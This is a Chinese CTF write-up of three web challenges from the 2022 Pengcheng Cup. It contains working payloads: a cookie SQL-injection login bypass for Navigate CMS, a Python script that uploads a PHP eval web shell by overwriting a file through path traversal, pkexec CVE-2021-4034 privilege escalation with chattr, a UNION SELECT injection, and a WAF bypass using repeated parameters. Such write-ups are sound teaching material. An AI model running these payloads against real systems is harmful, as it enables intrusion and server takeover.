2022鹏城杯web

文章目录

BY 恒星实验室

高手高手高高手 ()

扫描后台发现存在.git,利用githack工具拿到 .git 文件夹,利用 git log 查看 commit id,利用 git reset --hard be50c81b903b0005d0740d221e74c51340251bc2 进行恢复拿到源码。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

通过后台扫描还发现存在login.php
在这里插入图片描述

根据底部信息获取到了cms类型以及版本号,直接网上搜相对应的漏洞。
在这里插入图片描述

发现了这么一条,说在login.php中存在sql注入漏洞。不过没有给poc。
但是可以根据产商给的补丁进行分析
在这里插入图片描述

其中对login.php的改动主要内容如下
在这里插入图片描述

更换了一条代码,其中第三个参数由原来的可控值改成了固定值,并且增加了第四个参数。
跟进protect函数。
在这里插入图片描述

接着跟进$DB->protect
在这里插入图片描述

对于我们来说的影响只有一条,就是会将单引号前面增加反斜杠。
跟进query_single
在这里插入图片描述

最主要的是进行了查询语句,并且查询语句中的$where是可控的,也就是
'cookie_hash = '.protect($_COOKIE['navigate-user'])
并且查询成功会跳转到首页(相当于登录成功)
在这里插入图片描述

将代码简单整理下,大致过程如下

<?php 
function protect($str){
$str = str_replace("'", '\'."'", $str);
            $str = "'".$str."'";
            return $str;
}
$column='id';
$table='nv_users';
$str="";
$where='cookie_hash = '.protect($str);
$order='';
$sql='SELECT ' . $column . ' FROM ' . $table . ' WHERE ' . $where . $order . ' LIMIT 1';
echo $sql;

剩下的就是怎么传cookie可以生成万能密码。
因为过滤会在单引号前面增加反斜杠,所以可以自己写个反斜杠则可以转移掉。
在这里插入图片描述

也就是cookie传入navigate-user='||1# 即可登录成功。
在这里插入图片描述

进入后台后,还是搜下历史漏洞,其中有个引起了我的注意。
在这里插入图片描述

在navigate_upload.php中存在漏洞,接着继续看下补丁。
在这里插入图片描述

补丁中将这一整个if全部删除了,看来漏洞点就是这个地方了。
并且git获取到的源码中也确实存在这段代码。
简答分析一下
在这里插入图片描述

可以将上传的文件写入,但是还要传个id,并且最终拼接成了路径是已存在的文件。
也就是说可以覆盖已有文件。
那么我们可以直接覆盖一个php文件。首页里面有个navigate_info.php貌似没什么用。就覆盖他了。
问题来了,对传入的id进行了替换,将…/替换成了空。
不过不要紧,可以采用双写绕过的方式。
payload

#author:
import requests  
sess=requests.session()
url="http://192.168.1.116/"
r1=sess.get(url+'login.php',headers={'Cookie':"navigate-user=\'||1#"})
url=url+"navigate_upload.php?session_id=31pukck2gfik0s84750cbvrdq2&engine=picnik&id=....//....//....//navigate_info.php"
files={'file':('1.php','<?=eval($_POST[1]);?>','image/png')}
r=sess.post(url,files=files)
print(r.text)

通过蚁剑连接后发现没有flag文件,但是存在一个可执行文件。
在这里插入图片描述

执行后没有出flag。
打开这个文件看下。
在这里插入图片描述

应该是需要删除掉网站根目录下的bocai.html、bocai.png,然后再来执行,不过暂时没有删除的权限,所以应该是需要提权了。

利用 find / -perm -4000 2>/dev/null 命令发现有 pkexec
在这里插入图片描述

直接用 CVE-2021-4034 进行提权
在这里插入图片描述

查看发现 bocai.html 和 bocai.png 不能删、不能移动,利用 chattr -a bocai* 命令去除该属性即可。
在这里插入图片描述

执行 ./I_want_capture_the_flag 拿到 flag:
在这里插入图片描述

easygo (airrudder)

下载附件,是 go.mod,里面有个 github 地址
在这里插入图片描述

查看发现就有利用方式
在这里插入图片描述

payload:

http://192.168.1.115:8080/juice/1' UNION SELECT 1,flag FROM super_secret_table--+

在这里插入图片描述

简单包含 ()

正常提交伪协议发现存在waf
在这里插入图片描述

经过反复测试,提交一定数量的参数即可绕过
payload

1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&1=1&a
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值